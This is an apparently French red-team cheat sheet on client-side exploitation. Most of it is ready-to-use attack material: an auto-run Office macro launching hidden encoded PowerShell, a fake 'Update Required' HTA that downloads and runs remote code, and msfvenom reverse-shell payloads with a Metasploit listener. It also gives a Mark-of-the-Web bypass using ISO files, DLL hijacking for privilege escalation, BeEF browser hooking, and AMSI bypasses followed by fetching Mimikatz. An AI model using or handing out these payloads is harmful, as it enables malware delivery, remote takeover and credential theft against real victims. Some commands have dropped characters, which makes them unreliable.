Exploitation côté client — Browser & Office
Attaques navigateur, macros Office, HTA, DLL hijacking, payload delivery
Macros Office (VBA)
' AutoOpen / Workbook_Open — exécuté à l'ouverture du documentSub AutoOpen()Dim obj As ObjectSet obj = CreateObject("WScript.Shell")obj.Run "powershell -WindowStyle Hidden -EncodedCommand {{B64_PAYLOAD}}", 0, FalseEnd Sub' Workbook_Open pour les fichiers Excel (.xlsm)Sub Workbook_Open()AutoOpenEnd Sub
Encoder le payload PowerShell en Base64 :
# Générer le payload encodé$cmd = "IEX(New-Object Net.WebClient).DownloadString('http://{{LHOST}}/p.ps1')"$encoded = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($cmd))Write-Output $encoded# → coller la valeur dans {{B64_PAYLOAD}}
Générer directement avec msfvenom :
# Payload VBA prêt à coller dans un module Word/Excelmsfvenom -p windows/x64/meterpreter/reverse_https LHOST{{LHOST}} LPORT443 -f vba# Formats Office compatibles : .docm, .xlsm, .pptm# Macro doit être dans un module standard (pas ThisDocument) pour éviter certains blocages
HTA (HTML Application)
<html><head><title>Update Required</title></head><body><script language="VBScript">Set shell = CreateObject("WScript.Shell")shell.Run "powershell -nop -w hidden -c IEX(IWR 'http://{{LHOST}}/p.ps1')", 0, Truewindow.close</script><p>Checking for updates...</p></body></html>
# Delivery HTA via lien email ou URLmshta http//{{LHOST}}/shell.hta# Générer avec msfvenommsfvenom -p windows/x64/meterpreter/reverse_https LHOST{{LHOST}} LPORT443 -f hta-psh -o shellhta# Héberger le fichierpython3 -m httpserver 80
HTA s'exécute avec mshta.exe — un binaire Windows signé Microsoft, souvent en whitelist.
ISO/IMG — Bypass Mark-of-the-Web
# Les fichiers extraits d'un ISO/IMG ne reçoivent pas la Zone.Identifier ADS# → Windows ne bloque pas l'exécution, pas d'avertissement SmartScreen# Structure du payload ISO :# payload.iso/# ├── payload.dll ← DLL malveillante# ├── launch.lnk ← LNK qui exécute rundll32# └── (optionnel) légitimes.pdf ← document leurre# LNK target :# C:\Windows\System32\rundll32.exe .\payload.dll,DllMain# Créer l'ISO (Linux)mkisofs -o payloadiso -J -r /tmp/iso_content/# Créer un fichier IMG (IMG = ISO sans le header ISO9660, monté pareil)dd if/dev/zero ofpayloadimg bs count10mkfsvfat payloadimg# mcopy les fichiers dans l'image
DLL Hijacking
# Étape 1 : identifier les DLL manquantes avec Procmon (Windows)# Filtre : Operation = NAME NOT FOUND, Path ends with .dll# Chercher des applications dans des répertoires non-privilégiés# Étape 2 : vérifier l'ordre de recherche DLL (DLL Search Order)# 1. Répertoire de l'exécutable# 2. C:\Windows\System32# 3. C:\Windows\System# 4. C:\Windows# 5. Répertoires dans %PATH%# Étape 3 : compiler la DLL malveillantemsfvenom -p windows/x64/meterpreter/reverse_https LHOST{{LHOST}} LPORT443-f dll -o payloaddll# DLL proxy — la DLL malveillante charge aussi la DLL légitime pour éviter les crashs# Exemple avec msfvenom + DLL forwarding via DEF file# Étape 4 : placer la DLL dans le répertoire de l'exécutable# Si l'appli tourne en tant qu'admin ou service → élévation de privilègescopy payloaddll "C:\Program Files\VulnerableApp\missing.dll"
Outils : Robber, DLLSpy, hijacklibs.net (base de données de DLL connues vulnérables)
Browser exploits — BeEF
# Démarrer BeEF (Browser Exploitation Framework)cd /usr/share/beef-xss/beef# Interface web : http://localhost:3000/ui/panel# Credentials : beef / (voir /etc/beef-xss/config.yaml)# Hook JavaScript — injecter via XSS ou MITM<script src"http://{{LHOST}}:3000/hook.js"></script># Modules BeEF utiles :# Network → Get Internal IP (WebRTC leak)# Network → Port Scanner (scan interne via browser)# Browser → Get Cookies# Browser → Redirect Browser → URL de phishing# Social Engineering → Fake Flash Update (download payload)# Metasploit → Browser Autopwn (intégration MSF)
BeEF + XSS stocké = pivot réseau interne via le navigateur de la victime.
Payload delivery — msfvenom
# EXE Windows 64-bitmsfvenom -p windows/x64/meterpreter/reverse_https LHOST{{LHOST}} LPORT443-f exe -o payloadexe# DLL Windows 64-bitmsfvenom -p windows/x64/meterpreter/reverse_https LHOST{{LHOST}} LPORT443-f dll -o payloaddll# Script PowerShellmsfvenom -p windows/x64/meterpreter/reverse_https LHOST{{LHOST}} LPORT443-f ps1 -o payloadps1# HTA (HTML Application)msfvenom -p windows/x64/meterpreter/reverse_https LHOST{{LHOST}} LPORT443-f hta-psh -o payloadhta# Raw shellcode (à injecter dans un loader custom)msfvenom -p windows/x64/meterpreter/reverse_https LHOST{{LHOST}} LPORT443-f raw -o shellcodebin# Listener correspondantmsfconsole -q -x use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_https;set LHOST {{LHOST}}; set LPORT 443; exploit -j"
AMSI Bypass (PowerShell)
# Patch AMSI en mémoire — désactive la détection pour la session PS courante# Plusieurs variantes existent (les signatures AV évoluent rapidement)# Variante 1 — reflection[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)# Variante 2 — patch du byte de retour d'AmsiScanBuffer$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')$b = $a.GetField('amsiSession','NonPublic,Static')$b.SetValue($null,$null)# Vérifier si AMSI est bypassé[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').GetValue($null)# → doit retourner True# Après bypass — charger un script normalement détectéIEX(New-Object Net.WebClient).DownloadString("http://{{LHOST}}/Invoke-Mimikatz.ps1")
Les fichiers ISO et les containers VHDX sont devenus les vecteurs d'infection les plus courants depuis que Microsoft a durci les macros Office (2022 — blocage des macros dans les fichiers téléchargés d'Internet). Ils contournent la Mark-of-the-Web car les fichiers montés depuis un volume virtuel n'héritent pas de la Zone.Identifier. Microsoft a depuis annoncé des restrictions supplémentaires sur les ISO — surveiller les évolutions de la politique SmartScreen.